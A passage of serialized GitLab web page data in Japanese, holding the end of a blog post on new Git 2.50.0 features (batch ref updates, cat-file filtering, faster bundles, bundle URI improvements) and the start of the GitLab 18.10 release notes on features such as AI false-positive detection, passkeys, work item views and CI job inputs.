\u003Crejection-reason> LF\n```\n\nこれにより、成功した参照の更新はそのまま進行しつつ、どの更新が拒否されたのか、\nまたその理由についての情報も得ることができます。前の例と同じリポジトリを\n使った例は以下のとおりです。\n\n```shell\n# トランザクションで新しい参照を作成し、既存の参照を更新しようとします。\n$ git update-ref --stdin --batch-updates \u003C\u003CEOF\n> create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc\n> update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c\n> EOF\nrejected refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c incorrect old value provided\n\n# 「foo」への更新が拒否されたにもかかわらず、「bar」参照が作成されました。\n$ git switch bar\nSwitched to branch 'bar'\n```\n\n今回は`--batch-updates`オプションを使用したことで、\n更新処理が失敗しても参照の作成は成功しました。この一連のパッチは、\n`git-fetch(1)`や`git-receive-pack(1)`における今後の一括参照更新時の\nパフォーマンス改善の基盤となります。詳細については、該当する\n[メーリングリストのスレッド](https://lore.kernel.org/git/20250408085120.614893-1-karthik.188@gmail.com/)をご覧ください。\n\n_このプロジェクトは、[Karthik Nayak](https://gitlab.com/knayakgl)が主導しました。_\n\n## git-cat-file(1)の新しいフィルタオプション\n\n[`git-cat-file(1)`](https://git-scm.com/docs/git-cat-file)を使うと、\nリポジトリ内に含まれるすべてのオブジェクトの情報を\n`--batch–all-objects`オプションで出力できます。たとえば、以下のように実行します。\n\n```shell\n# シンプルなリポジトリを設定します。\n$ git init\n$ echo foo >foo\n$ git add foo\n$ git commit -m init\n\n# 到達不能なオブジェクトを作成します。\n$ git commit --amend --no-edit\n\n# git-cat-file(1)を使用して、到達不能なオブジェクトを含むすべてのオブジェクトに関する情報を出力します。\n$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)'\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\ntree 205f6b799e7d5c2524468ca006a0131aa57ecce7\nblob 257cc5642cb1a054f08cc83f2d943e56fd3ebe99\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n```\n\n状況によっては、リポジトリ内のすべてのオブジェクトを検索し、\n特定の属性に基づいて一部のオブジェクトだけを出力したい場合があります。\nたとえば、コミットオブジェクトだけを表示したいときは、\n`grep(1)`を使って以下のように実行できます。\n\n```shell\n$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)' | grep ^commit\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n```\n\nこの方法でも目的は達成できますが、出力のフィルタリングには欠点があります。\nそれは、`git-cat-file(1)`が\nユーザーが関心を持っていないオブジェクトも含め、リポジトリ内のすべてのオブジェクトをたどらなければならない点です。これはかなり非効率です。\n\n今回のリリースでは、`git-cat-file(1)`に`--filter`オプションが追加され、\n指定した条件に一致するオブジェクトだけを表示できるようになりました。これは`git-rev-list(1)`にある同名のオプションと似ていますが、\n対応しているフィルターの種類はその一部に限られています。\n対応しているフィルターは`blob:none`、`blob:limit=`および\n`object:type=`です。先ほどの例と同様に、オブジェクトはGitを使用して直接\n種類でフィルタリングできます。\n\n```shell\n$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)' --filter='object:type=commit'\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n```\n\nGitに処理を任せられるのは便利なだけでなく、オブジェクト数の多い大規模なリポジトリにおいては\n効率面のメリットも期待できます。\nリポジトリにビットマップインデックスがある場合、\nGitが特定の種類のオブジェクトを効率的に検索できるようになり、パックファイル全体をスキャンする必要がなくなるため、\n処理速度が大幅に向上します。\n[Chromiumリポジトリ](https://github.com/chromium/chromium.git)で行われた\nベンチマークでは、こうした最適化による大きな改善が確認されています。\n\n```text\nBenchmark 1: git cat-file --batch-check --batch-all-objects --unordered --buffer --no-filter Time (mean ± σ):     82.806 s ±  6.363 s    [User: 30.956 s, System: 8.264 s] Range (min … max):   73.936 s … 89.690 s    10 runs\nBenchmark 2: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tag Time (mean ± σ):      20.8 ms ±   1.3 ms    [User: 6.1 ms, System: 14.5 ms] Range (min … max):    18.2 ms …  23.6 ms    127 runs\nBenchmark 3: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=commit Time (mean ± σ):      1.551 s ±  0.008 s    [User: 1.401 s, System: 0.147 s] Range (min … max):    1.541 s …  1.566 s    10 runs\nBenchmark 4: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tree Time (mean ± σ):     11.169 s ±  0.046 s    [User: 10.076 s, System: 1.063 s] Range (min … max):   11.114 s … 11.245 s    10 runs\nBenchmark 5: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=blob Time (mean ± σ):     67.342 s ±  3.368 s    [User: 20.318 s, System: 7.787 s] Range (min … max):   62.836 s … 73.618 s    10 runs\nBenchmark 6: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=blob:none Time (mean ± σ):     13.032 s ±  0.072 s    [User: 11.638 s, System: 1.368 s] Range (min … max):   12.960 s … 13.199 s    10 runs\nSummary git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tag 74.75 ± 4.61 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=commit 538.17 ± 33.17 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tree 627.98 ± 38.77 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=blob:none 3244.93 ± 257.23 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=blob 3990.07 ± 392.72 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --no-filter ```\n\n興味深いことに、これらの結果からは、処理時間がパックファイル内の総オブジェクト数ではなく、\n指定された種類のオブジェクト数に比例して増減することが示されています。\n元のメーリングリストのスレッドは、\n[こちら](https://lore.kernel.org/git/20250221-pks-cat-file-object-type-filter-v1-0-0852530888e2@pks.im/)でご覧いただけます。\n\n_このプロジェクトは[Patrick Steinhardt](https://gitlab.com/pks-gitlab)が主導しました。_\n\n## バンドル生成時のパフォーマンスが向上\n\nGitには、指定した参照とそれに関連する到達可能なオブジェクトを含むリポジトリのアーカイブを生成する機能があります。\n具体的には、\n[`git-bundle(1)`](https://git-scm.com/docs/git-bundle)コマンドを使用します。この操作は、\nGitLabがリポジトリのバックアップを作成する際や、\n[バンドルURI](https://git-scm.com/docs/bundle-uri)メカニズムの一部としても使用されます。\n\n何百万もの参照を含む大規模なリポジトリでは、\nこの操作に数時間から数日かかることもあります。たとえば、GitLabのメインリポジトリ\n（[gitlab-org/gitlab](https://gitlab.com/gitlab-org/gitlab)）では、\nバックアップに約48時間を要していました。調査の結果、バンドルに重複した参照が含まれないようにチェックする処理において、\nパフォーマンスのボトルネックが存在することが判明しました。\nこの実装では、すべての参照をイテレーションして比較するために入れ子の`for`loopが使われており、\n時間計算量はO(N^2)となっていました。これは、\nリポジトリ内の参照数が増えるほど、処理性能が大きく低下する構造です。\n\n今回のリリースでは、この問題に対応し、\nネストされたloopをマップ型のデータ構造に置き換えることで、処理速度が大幅に向上しました。以下は、\n10万件の参照を含むリポジトリでバンドルを作成した際のパフォーマンス改善を\n示すベンチマーク結果です。\n\n```text\nBenchmark 1: bundle (refcount = 100000, revision = master) Time (mean ± σ):     14.653 s ±  0.203 s    [User: 13.940 s, System: 0.762 s] Range (min … max):   14.237 s … 14.920 s    10 runs\nBenchmark 2: bundle (refcount = 100000, revision = HEAD) Time (mean ± σ):      2.394 s ±  0.023 s    [User: 1.684 s, System: 0.798 s] Range (min … max):    2.364 s …  2.425 s    10 runs\nSummary bundle (refcount = 100000, revision = HEAD) ran 6.12 ± 0.10 times faster than bundle (refcount = 100000, revision = master) ```\n\n詳しくは、\n[GitLabがリポジトリのバックアップ時間を48時間から41分に短縮した方法](https://about.gitlab.com/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes/)を紹介するブログ記事をご覧ください。\n元のメーリングリストのスレッドは\n[こちら](https://lore.kernel.org/git/20250401-488-generating-bundles-with-many-references-has-non-linear-performance-v1-0-6d23b2d96557@gmail.com/)でご覧いただけます。\n\n_このプロジェクトは[Karthik Nayak](https://gitlab.com/knayakgl)が主導しました。_\n\n## バンドルURIのアンバンドルの改善\n\nGitの[バンドルURI](https://git-scm.com/docs/bundle-uri)メカニズムは、\nフェッチするバンドルの場所をクライアントに提供することで、クローンやフェッチの速度を\n向上させることを目的としています。クライアントがバンドルをダウンロードすると、\n`refs/heads/*`以下の参照が、その関連オブジェクトとともにバンドルから\nリポジトリにコピーされます。バンドルには`refs/tags/*`のように\n`refs/heads/*`以外の参照も含まれていることがありますが、\nこれらはクローン時にバンドルURIを使用する場合、単に無視されていました。\n\nGit 2.50ではこの制限が解除され、\nダウンロードされたバンドルに含まれる`refs/*`に一致するすべての参照がコピーされるようになりました。\nこの機能を実装した[Scott Chacon](https://github.com/schacon)さんは、\n[gitlab-org/gitlab-foss](https://gitlab.com/gitlab-org/gitlab-foss)をクローンした際の\n挙動の違いを紹介しています。\n\n```shell\n$ git-v2.49 clone --bundle-uri=gitlab-base.bundle https://gitlab.com/gitlab-org/gitlab-foss.git gl-2.49\nCloning into 'gl2.49'...\nremote: Enumerating objects: 1092703, done.\nremote: Counting objects: 100% (973405/973405), done.\nremote: Compressing objects: 100% (385827/385827), done.\nremote: Total 959773 (delta 710976), reused 766809 (delta 554276), pack-reused 0 (from 0)\nReceiving objects: 100% (959773/959773), 366.94 MiB | 20.87 MiB/s, done.\nResolving deltas: 100% (710976/710976), completed with 9081 local objects.\nChecking objects: 100% (4194304/4194304), done.\nChecking connectivity: 959668, done.\nUpdating files: 100% (59972/59972), done.\n\n$ git-v2.50 clone --bundle-uri=gitlab-base.bundle https://gitlab.com/gitlab-org/gitlab-foss.git gl-2.50\nCloning into 'gl-2.50'...\nremote: Enumerating objects: 65538, done.\nremote: Counting objects: 100% (56054/56054), done.\nremote: Compressing objects: 100% (28950/28950), done.\nremote: Total 43877 (delta 27401), reused 25170 (delta 13546), pack-reused 0 (from 0)\nReceiving objects: 100% (43877/43877), 40.42 MiB | 22.27 MiB/s, done.\nResolving deltas: 100% (27401/27401), completed with 8564 local objects.\nUpdating files: 100% (59972/59972), done.\n```\n\nこれらの結果を比較すると、Git 2.50はバンドル展開後に43,887個（40.42 MiB）のオブジェクトをフェッチしているのに対し、\nGit 2.49は合計で959,773個（366.94 MiB）のオブジェクトをフェッチしています。\nGit 2.50では、取得されるオブジェクト数が約95%、\nデータ量が約90%削減されており、クライアントとサーバーの双方にとってメリットがあります。\nサーバー側ではクライアントに送信するデータ量が大幅に減り、\nクライアント側でもダウンロードおよび展開するデータが少なくて済みます。Chaconさんの提供した例では、\nこれによって処理速度が25%向上しました。\n\n詳細については、\n該当する[メーリングリストのスレッド](https://lore.kernel.org/git/pull.1897.git.git.1740489585344.gitgitgadget@gmail.com/)をご覧ください。\n\n_この一連のパッチは、[Scott Chacon](https://github.com/schacon)さんによって提供されました。_\n\n## 詳細はこちら\n\n本記事でご紹介したのは、最新リリースにおいてGitLabと広範なGitコミュニティによって行われた\nコントリビュートのごく一部にすぎません。Gitプロジェクトの[公式リリースのお知らせ](https://lore.kernel.org/git/xmqq1prj1umb.fsf@gitster.g/)では、\nさらに詳しい情報をご覧になれます。また、\n[以前のGitリリースのブログ記事](https://about.gitlab.com/blog/tags/git/)もぜひご覧ください。GitLabチームメンバーによる過去の主なコントリビュートをご確認いただけます。\n","2025-06-16",[997,1087,242],{"featured":13,"template":796,"slug":1101},"what-s-new-in-git-2-50-0",{"category":70,"slug":745,"posts":1103},[1104,1115,1125],{"content":1105,"config":1113},{"heroImage":1106,"body":1107,"authors":1108,"updatedDate":789,"date":1109,"title":1110,"tags":1111,"description":1112,"category":745},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773814604/bqvflb3b9f5crqfbx5jz.png","本ブログは、[GitLab 18.10 Release](https://about.gitlab.com/releases/2026/03/19/gitlab-18-10-released/)の抄訳です。内容に相違がある場合は、原文が優先されます。\n\n# GitLab 18.10リリース\n\n## エージェント型SASTの誤検出判定機能とFreeでのクレジット購入に対応したGitLab 18.10をリリース\n\nこのたび、SASTの誤検出判定（GitLab Duo Agent Platform対応）、Freeでのクレジット購入、パスキーによる安全なサインイン、作業アイテムリストと保存済みビューなど、さまざまな新機能を搭載したGitLab 18.10のリリースを発表しました。\n\nこれらの機能は、今回のリリースに含まれる60件以上の改善点のほんの一部です。以下で、すべてのアップデートをご確認ください。\n\nGitLabコミュニティの皆さまからは、GitLab 18.10に対して212件ものコントリビュートをいただきました。GitLabでは[誰でもコントリビュート可能](https://about.gitlab.com/community/contribute/)です。皆さまのご協力に心より感謝いたします。\n\n来月のリリース予定については、[What's newページ](https://about.gitlab.com/releases/whats-new/)をご覧ください。\n\n- - -\n\n![notable-contributor-logo](https://about.gitlab.com/images/notable-contributor-logo.svg)\n\n## Notable Contributor（注目のコントリビューター）\n\n今月の[Notable Contributor](https://contributors.gitlab.com/docs/notable-contributors)は、[Harshith Sudar](https://gitlab.com/official.harshith1)さんです。\n\nHarshithさんは現在レベル3のコントリビューターであり、コミュニティツールやアナリティクスの改善に大きくコントリビュートしています。トリアージの自動化、コントリビューター表彰機能から[GitLab Duo](https://about.gitlab.com/gitlab-duo/)の使用状況インサイトまで、幅広い領域でインパクトのあるコントリビュートを続けています。\n\nHarshithさんのコントリビュートは、GitLabのDevRelエンジニアリング部門のフルスタックエンジニアである[Lee Tickett](https://gitlab.com/leetickett-gitlab)氏が最初に認め、推薦しました。Harshithさんの取り組みは、自動化やコントリビューター向けエクスペリエンスの改善を通じて、舞台裏からコントリビューターを支える仕組みを強化しています。例えば、triage-opsの`IssueSummary`プロセッサーを[複数プロジェクトに対応させるよう更新](https://gitlab.com/gitlab-org/quality/triage-ops/-/merge_requests/3589)し、[contributors.gitlab.com](https://contributors.gitlab.com)を含むコミュニティプロジェクト全体のサマリー作成と可視化を容易にしました。また、[新しい「コンテンツ追加」ボタンとフロー](https://gitlab.com/gitlab-org/developer-relations/contributor-success/contributors-gitlab-com/-/merge_requests/1250)の実装により、コントリビューターが自身のプロフィールからブログ記事、動画、その他のコンテンツを直接登録し、リワードを獲得できるようになりました。\n\nさらに、アナリティクスやGitLab Duoの使用状況インサイトにもコントリビュートしています。主な成果として、[GitLab Duoの使用量算出方法の改善](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/207511)、[180日間のデフォルト制限の撤廃](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/218870)によるAIの長期的な影響分析の改善、[DORAメトリクスの日付範囲定数の統合](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/216715)、そして[バリューストリームアナリティクスのカスタムステージラベルピッカーへの無限スクロール追加](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/207796)によるスケーラブルなアナリティクス体験の向上があります。これらの変更により、チームは実際のプロジェクトにおけるGitLabの活用状況をより深く理解できるようになりました。\n\nHarshithさんのコメント：\n\n> 「コントリビュート活動を通じて特に楽しんでいるのは、コミュニティ内でアイデアが丁寧に議論されるプロセスです。[MR !1288](https://gitlab.com/gitlab-org/developer-relations/contributor-success/contributors-gitlab-com/-/merge_requests/1288)に関するディスカッションのように、提案が協力的に検討される様子は大変励みになり、素晴らしい学習体験にもなりました。このコミュニティの一員であることを嬉しく思っており、今後もさらに多くのコントリビュートを続けていきたいと考えています。」\n\nHarshithさん、GitLabのコードベースとコントリビューターエクスペリエンスの向上へのご尽力、ありがとうございます。\n\nHarshithさんとつながり、コントリビュートの詳細を知りたい方は、[GitLabプロフィール](https://gitlab.com/official.harshith1)および[LinkedInプロフィール](https://www.linkedin.com/in/harshith-s-a44169282/)をご覧ください。\n\n- - -\n\n## GitLab 18.10の主な改善点\n\n## SASTの誤検出判定（GitLab Duo Agent Platform対応）\n\n> GitLab.com: Ultimate、Duo Core、Duo Pro、Duo Enterprise\\\n> Self-Managed: Ultimate、Duo Core、Duo Pro、Duo Enterprise\\\n> GitLab Dedicated: Ultimate、Duo Core、Duo Pro、Duo Enterprise\n\nGitLab 18.7でベータ版として導入されたSASTの誤検出判定機能が、GitLab 18.10で一般提供開始となりました。\n\nセキュリティスキャンの実行時に、GitLab Duo Agent Platformが重大度「致命的」および「高」のSAST脆弱性を自動分析し、誤検出の可能性を判定します。評価結果は脆弱性レポートに直接表示されるため、チームは不確実性に悩まされることなく、的確なトリアージを行えます。\n\n主な機能は以下のとおりです。\n\n* **自動分析**: セキュリティスキャンのたびに、手動操作なしで誤検出判定が自動実行されます。\n* **手動実行オプション**: 脆弱性の詳細ページから、個別の脆弱性に対してオンデマンドで誤検出判定を手動実行することも可能です。\n* **重大な検出結果に集中**: 「致命的」と「高」の重大度のSAST脆弱性に限定して分析を行うことで、最も重要な部分のノイズを効果的に削減します。\n* **コンテキストを踏まえたAI推論**: 各評価では、コードのコンテキスト、データフロー、静的解析に特有の脆弱性特性を考慮し、検出結果が誤検出である可能性がある理由（または実際の脆弱性である理由）を説明します。\n* **既存ワークフローとのシームレスな統合**: 結果は脆弱性レポート上で、既存の重大度、ステータス、修正情報と一緒に表示されるため、既存のワークフローを変更する必要はありません。\n\nこの機能は、GitLab Duo Agent Platformが有効なUltimateのお客様がご利用いただけます。グループまたはプロジェクトの設定で機能を有効にする必要があります。フィードバックは[イシュー583697](https://gitlab.com/gitlab-org/gitlab/-/issues/583697)からお寄せください。\n\n[ドキュメント](https://docs.gitlab.com/user/application_security/vulnerabilities/false_positive_detection) | [エピック](https://gitlab.com/groups/gitlab-org/-/work_items/19789)\n\n![SASTの誤検出判定（GitLab Duo Agent Platform対応）](https://about.gitlab.com/images/18_10/sast-false-positive-detection.png)\n\n- - -\n\n## Freeでの GitLabクレジット購入（GitLab.com）\n\n> GitLab.com: Free、GitLab Credits\n\nGitLab.comのFreeグループのオーナーは、GitLabクレジットを購入してAI機能を利用できるようになりました。月額のクレジット購入量を設定し、年間契約にコミットすることで、[GitLab Duo Agent Platformのエージェントとフロー](https://docs.gitlab.com/subscriptions/gitlab_credits/#for-the-free-tier-on-gitlabcom)にアクセスできます。クレジットは毎月自動的に更新されるため、チームは常に必要なリソースを確保し、より速く、よりスマートに開発を進められます。\n\n主なポイントは以下のとおりです。\n\n* **使用量ベースの料金体系**: ベースプランのサブスクリプションなしで、月額のクレジットコミットメントを購入可能です。\n* **セルフサービスでの購入**: GitLabの購入フローからクレジットを直接購入できます。\n* **シームレスなアップグレードパス**: PremiumまたはUltimateに後からアップグレードした場合も、クレジットのコミットメントは引き継がれます。\n* **使用状況の追跡**: GitLabクレジットダッシュボードからクレジットの使用状況を確認できます。\n\nこの[購入オプション](https://docs.gitlab.com/subscriptions/gitlab_credits/?tab=GitLab.com#buy-gitlab-credits)は、現在GitLab.comのFreeトップレベルグループのみで利用可能です。\n\n[ドキュメント](https://docs.gitlab.com/subscriptions/gitlab_credits/#for-the-free-tier-on-gitlabcom) | [エピック](https://gitlab.com/groups/gitlab-org/-/work_items/20165)\n\n![Freeでの GitLabクレジット購入（GitLab.com）](https://about.gitlab.com/images/18_10/Free_Credits_Purchase_Image.png)\n\n- - -\n\n## パスキーによる安全なサインイン\n\n> GitLab.com: Free、Premium、Ultimate\\\n> Self-Managed: Free、Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\nGitLabがパスワードレスサインインおよびフィッシング耐性のある2要素認証（2FA）方式としてパスキーに対応しました。パスキーは公開鍵暗号方式と生体認証（指紋、顔認証）またはデバイスのPINを使用して、アカウントに安全にアクセスする仕組みです。\n\nパスキーの主なメリットは以下のとおりです。\n\n* **パスワード不要の利便性**: パスワードを覚える必要なく、デバイスの生体認証やPINでサインインできます。\n* **マルチデバイス対応**: デスクトップブラウザー、モバイルデバイス（iOS 16以降、Android 9以降）、FIDO2/WebAuthn対応のハードウェアセキュリティキーでパスキーを利用できます。\n* **フィッシング耐性のあるセキュリティ**: 秘密鍵はデバイスの外に出ることはありません。GitLabは公開鍵のみを保存するため、万が一GitLabサーバーが侵害された場合でもアカウントは保護されます。\n* **自動2FA統合**: 2FAが有効なアカウントでは、パスキーがデフォルトの2FA方式として自動的に利用可能になります。\n\nパスキーの利用を開始するには、アカウント設定からパスキーを追加してください。ご質問やフィードバックは[イシュー366758](https://gitlab.com/gitlab-org/gitlab/-/work_items/366758)からお寄せください。\n\n[ドキュメント](https://docs.gitlab.com/auth/passkeys/) | [エピック](https://gitlab.com/groups/gitlab-org/-/work_items/10897)\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/LN5MGRdTHR8?si=F0mcUAbEg0-dEYWu\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen>\u003C/iframe>\n\n- - -\n\n## 作業アイテムリストと保存済みビューの導入\n\n> GitLab.com: Free、Premium、Ultimate\\\n> Self-Managed: Free、Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\nGitLabのプランニング体験が、作業アイテムリストと保存済みビューにより大幅にアップグレードされます。長らくご要望いただいていた2つの機能をまとめてお届けします。\n\n* **作業アイテムリスト**は、エピック、イシュー、その他の作業アイテムを1つの統合されたリストにまとめ、作業アイテムの種類ごとに別々のページを切り替える必要をなくします。プランニングオブジェクト間の関係がより把握しやすくなります。\n* **保存済みビュー**では、フィルター、ソート順、表示オプションを含むカスタマイズされたリスト構成を作成・保存できます。定期的な確認作業が効率化され、チーム全体での標準的な表示方法を確立できます。\n\nこれは、GitLab作業アイテムの統一アーキテクチャに向けた次のステップであり、GitLabのプランニングツール全体での一貫性と新しい機能の実現を目指しています。\n\nご意見・フィードバックは[イシュー590689](https://gitlab.com/gitlab-org/gitlab/-/work_items/590689)からお寄せください。\n\n[ドキュメント](https://docs.gitlab.com/user/work_items/) | [エピック](https://gitlab.com/groups/gitlab-org/-/work_items/17530)\n\n![作業アイテムリストと保存済みビュー](https://about.gitlab.com/images/18_10/work_items_list_and_saved_views.png)\n\n- - -\n\n## カスタムエージェントがMCPで外部データにアクセス可能に\n\n> GitLab.com: Premium、Ultimate\n\nAIカタログのカスタムエージェントを、Model Context Protocol（MCP）を通じて外部のデータソースやツールに接続できるようになりました。GitLabの外に出ることなく統合が可能です。\n\nこれは実験的機能です。フィードバックは[イシュー593219](https://gitlab.com/gitlab-org/gitlab/-/work_items/593219)からお寄せください。\n\n[ドキュメント](https://docs.gitlab.com/user/gitlab_duo/model_context_protocol/ai_catalog_mcp_servers/) | [イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/590708)\n\n![カスタムエージェントがMCPで外部データにアクセス可能に](https://about.gitlab.com/images/18_10/enable_custom_agents_to_access_external_data_via_mcp.png)\n\n- - -\n\n## 正規表現によるマージリクエストのタイトル命名規則の適用\n\n> GitLab.com: Premium、Ultimate\\\n> Self-Managed: Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\n一貫性のあるマージリクエストのタイトルを維持することは、Conventional Commitsフォーマットや社内トラッキングシステムとの連携など、構造化された命名規則に依存しているチームにとって重要です。従来、こうした規則を適用するには外部ツールやカスタムCI/CDパイプラインジョブが必要でしたが、パイプライン実行後にマージリクエストのタイトルが変更された場合に再検証が行われず、非準拠のタイトルのままマージされてしまうという課題がありました。\n\nプロジェクト設定でマージリクエストの必須タイトル正規表現を設定できるようになりました。設定後、GitLabはマージ可能性チェックとしてマージリクエストのタイトルをパターンに照合します。タイトルが準拠するまでマージがブロックされ、タイトルの最終変更時点にかかわらず常に検証が実施されます。\n\n設定するには、プロジェクトの**設定 > マージリクエスト**に移動し、**Title must match required pattern**（タイトルは正規表現に一致する必要があります）フィールドに正規表現パターンを入力してください。\n\n既存のマージリクエストワークフローはこれまでどおり動作します。このチェックは、タイトル正規表現を明示的に設定したプロジェクトにのみ適用されます。\n\n[ドキュメント](https://docs.gitlab.com/user/project/merge_requests/title_validation/) | [エピック](https://gitlab.com/groups/gitlab-org/-/work_items/20108)\n\n![正規表現によるマージリクエストのタイトル命名規則の適用](https://about.gitlab.com/images/18_10/create-enforce-mr-title-naming-convention.png)\n\n- - -\n\n## AIによるシークレット誤検出判定（ベータ版）\n\n> GitLab.com: Ultimate、Duo Core、Duo Pro、Duo Enterprise\\\n> Self-Managed: Ultimate、Duo Core、Duo Pro、Duo Enterprise\\\n> GitLab Dedicated: Ultimate、Duo Core、Duo Pro、Duo Enterprise\n\nセキュリティチームは、テスト用クレデンシャル、サンプル値、プレースホルダートークンなど、実際のシークレットではないにもかかわらず誤って検出されるシークレット検出の誤検出の調査に多大な時間を費やしています。誤検出はアラート疲れを引き起こし、スキャン結果への信頼を損ない、本当のセキュリティリスクから注意をそらします。\n\nGitLab 18.10では、AIを活用したシークレット誤検出判定（ベータ版）を導入し、本当に重要なシークレットに集中できるようにしました。セキュリティスキャンの実行時に、GitLab Duoが重大度「致命的」および「高」のシークレット検出の脆弱性を自動分析し、誤検出かどうかを判定します。\n\nAIによる評価結果は脆弱性レポートに直接表示され、セキュリティエンジニアは即座にコンテキストを把握し、より迅速で確信を持ったトリアージを行えます。\n\n主な機能は以下のとおりです。\n\n* **自動分析**: セキュリティスキャンのたびに、手動トリガーなしで誤検出判定が自動実行されます。\n* **手動トリガーオプション**: 脆弱性の詳細ページから、個別の脆弱性に対してオンデマンドで誤検出判定を手動トリガーすることも可能です。\n* **重大な検出結果に集中**: 「致命的」と「高」の重大度の脆弱性に限定し、シグナル対ノイズ比を最大化します。\n* **コンテキストを踏まえたAI推論**: 各評価には、コードのコンテキストと脆弱性の特性に基づき、検出結果が真のポジティブである可能性がある理由（またはない理由）の説明が含まれます。\n* **信頼度スコア**: 各検知には信頼度スコアが付与され、モデルの確信度に基づいてレビューの優先順位付けが可能です。\n* **既存ワークフローとのシームレスな統合**: 結果は脆弱性レポート上で、既存の重大度、ステータス、修正情報と一緒に表示されます。\n\nこの機能は、Ultimateのお客様に無料ベータとしてご利用いただけます。グループまたはプロジェクトの設定で有効にする必要があります。フィードバックは[イシュー592861](https://gitlab.com/gitlab-org/gitlab/-/work_items/592861)からお寄せください。\n\n[ドキュメント](https://docs.gitlab.com/user/application_security/vulnerabilities/secret_false_positive_detection/) | [エピック](https://gitlab.com/groups/gitlab-org/-/work_items/20152)\n\n![AIによるシークレット誤検出判定（ベータ版）](https://about.gitlab.com/images/18_10/secret-false-positive-detection.png)\n\n- - -\n\n## CI/CDジョブでのランタイムインプットの使用\n\n> GitLab.com: Free、Premium、Ultimate\\\n> Self-Managed: Free、Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\nCI/CD変数を使用した動的なジョブ設定には課題がありました。変数は複雑なオーバーライド階層に従うため管理が難しく、さまざまなユースケースに対応できない場合がありました。\n\nジョブレベルで明示的な型付きインプットを定義する`inputs`が利用可能になりました。ジョブインプットを使用して、ジョブがランタイムで受け入れる値を定義・制御できます。ジョブインプットでは以下が可能です。\n\n* 型安全性（string、number、boolean、array）\n* 静的な値または既存の変数を参照するデフォルト値\n* 使用可能な値の厳密なリストの定義\n* インプット値を検証するための正規表現のサポート\n\nジョブインプットは、ユーザーの操作なしにデフォルト値を使用できますが、ジョブのリトライ時や手動ジョブの実行時に値を変更することも可能です。\n\n[ドキュメント](https://docs.gitlab.com/ci/jobs/job_inputs/) | [エピック](https://gitlab.com/groups/gitlab-org/-/epics/17833)\n\n- - -\n\n## GitLab 18.10のその他の改善点\n\n### Markdownテーブルでのタスクアイテムのサポート\n\n> GitLab.com: Free、Premium、Ultimate\\\n> Self-Managed: Free、Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\nMarkdownのテーブルセル内でタスクアイテムのチェックボックス構文を直接使用できるようになりました。\n\n従来、これを実現するにはHTMLとMarkdownの組み合わせが必要で、保守が困難でした。\n\nこの改善により、イシュー、エピック、その他のコンテンツ内の構造化されたテーブルレイアウトで、タスクの完了状況を直接追跡しやすくなりました。\n\n[ドキュメント](https://docs.gitlab.com/user/markdown/#task-lists-in-tables) | [イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/21506)\n\n- - -\n\n### macOS Tahoe 26およびXcode 26ジョブイメージ\n\n> GitLab.com: Premium、Ultimate\n\nmacOS Tahoe 26とXcode 26を使用して、最新世代のAppleデバイス向けアプリケーションの作成、テスト、デプロイが可能になりました。\n\n[macOSのホステッドRunner](https://docs.gitlab.com/ci/runners/hosted_runners/macos/)を利用することで、開発チームはGitLab CI/CDに統合された安全なオンデマンドビルド環境で、macOSアプリケーションをより迅速にビルド・デプロイできます。\n\n`.gitlab-ci.yml`ファイルで`macos-26-xcode-26`イメージを指定して、ぜひお試しください。\n\n[ドキュメント](https://docs.gitlab.com/ci/runners/hosted_runners/macos/) | [エピック](https://gitlab.com/groups/gitlab-com/gl-infra/-/work_items/1694)\n\n- - -\n\n### GitLab Helmチャートレジストリが一般提供を開始\n\n> GitLab.com: Free、Premium、Ultimate\\\n> Self-Managed: Free、Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\nHelmを使用してKubernetesアプリケーションのデプロイを管理しているチームは、GitLab 